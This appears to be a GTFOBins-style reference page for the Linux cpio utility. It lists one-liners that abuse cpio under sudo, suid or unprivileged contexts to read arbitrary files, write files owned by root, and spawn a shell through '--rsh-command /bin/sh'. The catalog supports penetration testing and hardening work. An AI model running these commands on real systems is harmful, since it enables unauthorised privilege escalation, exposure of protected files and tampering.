CatalogGTFOBins

GTFO · Tool

cpio

10 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -dp .
cat path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege EscalationLinux
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059